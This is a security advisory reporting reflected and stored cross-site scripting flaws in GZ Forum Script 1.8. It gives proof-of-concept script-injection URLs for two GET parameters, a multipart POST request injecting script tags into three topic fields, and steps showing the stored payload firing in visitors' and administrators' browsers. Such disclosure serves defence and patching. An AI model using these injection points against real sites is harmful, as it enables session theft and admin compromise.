GZ Forum Script 1.8 Cross Site Scripting

`┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
││ C r a C k E r ┌┘  
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
  
┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ [ Vulnerability ] ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
: Author : CraCkEr :  
│ Website : https://gzscripts.com/gz-forum-script.html │  
│ Vendor : GZ Scripts │  
│ Software : GZ Forum Script 1.8 │  
│ Vuln Type: Reflected XSS - Stored XSS │  
│ Impact : Manipulate the content of the site │  
│ │  
│────────────────────────────────────────────────────────────────────────────────────────│  
│ ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
: :  
│ Release Notes: │  
│ ═════════════ │  
│ │  
│ Reflected XSS │  
│ │  
│ The attacker can send to victim a link containing a malicious URL in an email or │  
│ instant message can perform a wide variety of actions, such as stealing the victim's │  
│ session token or login credentials │  
│ │  
│ │  
│ Stored XSS │  
│ │  
│ Allow Attacker to inject malicious code into website, give ability to steal sensitive │  
│ information, manipulate data, and launch additional attacks. │  
│ │   
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
  
Greets:  
  
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09   
  
CryptoJob (Twitter) twitter.com/0x0CryptoJob  
  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ © CraCkEr 2023 ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
  
  
Path: /preview.php  
  
GET 'catid' parameter is vulnerable to RXSS  
  
http://www.website/preview.php?controller=Load&action=index&catid=moztj%22%3e%3cscript%3ealert(1)%3c%2fscript%3ems3ea&down_up=a  
  
  
Path: /preview.php  
  
GET 'topicid' parameter is vulnerable to RXSS  
  
http://www.website/preview.php?controller=Load&action=topic&topicid=1wgaff%22%3e%3cscript%3ealert(1)%3c%2fscript%3exdhk2  
  
  
  
  
## Stored XSS  
  
-----------------------------------------------  
POST /GZForumScript/preview.php?controller=Load&action=start_new_topic HTTP/1.1  
  
-----------------------------39829578812616571248381709325  
Content-Disposition: form-data; name="free_name"  
  
<script>alert(1)</script>  
-----------------------------39829578812616571248381709325  
Content-Disposition: form-data; name="topic"  
  
<script>alert(1)</script>  
-----------------------------39829578812616571248381709325  
Content-Disposition: form-data; name="topic_message"  
  
<script>alert(1)</script>  
-----------------------------39829578812616571248381709325--  
  
-----------------------------------------------  
  
POST parameter 'free_name' is vulnerable to XSS  
POST parameter 'topic' is vulnerable to XSS  
POST parameter 'topic_message' is vulnerable to XSS  
  
  
## Steps to Reproduce:  
  
1. As a [Guest User] Click on [New Topic] to create a "New Topic" on this Path (http://website/preview.php?controller=Load&action=start_new_topic)  
2. Inject your [XSS Payload] in "Name"  
3. Inject your [XSS Payload] in "Topic Title "  
4. Inject your [XSS Payload] in "Topic Message"  
5. Submit  
  
4. XSS Fired on Visitor Browser's when they Visit the Topic you Infect your [XSS Payload] on  
  
5. XSS Fired on ADMIN Browser when he visit [Dashboard] in Administration Panel on this Path (https://website/GzAdmin/dashboard)  
6. XSS Fired on ADMIN Browser when he visit [Topic] & [All Topics] to check [New Topics] on this Path (https://website/GzTopic/index)  
  
  
  
[-] Done  
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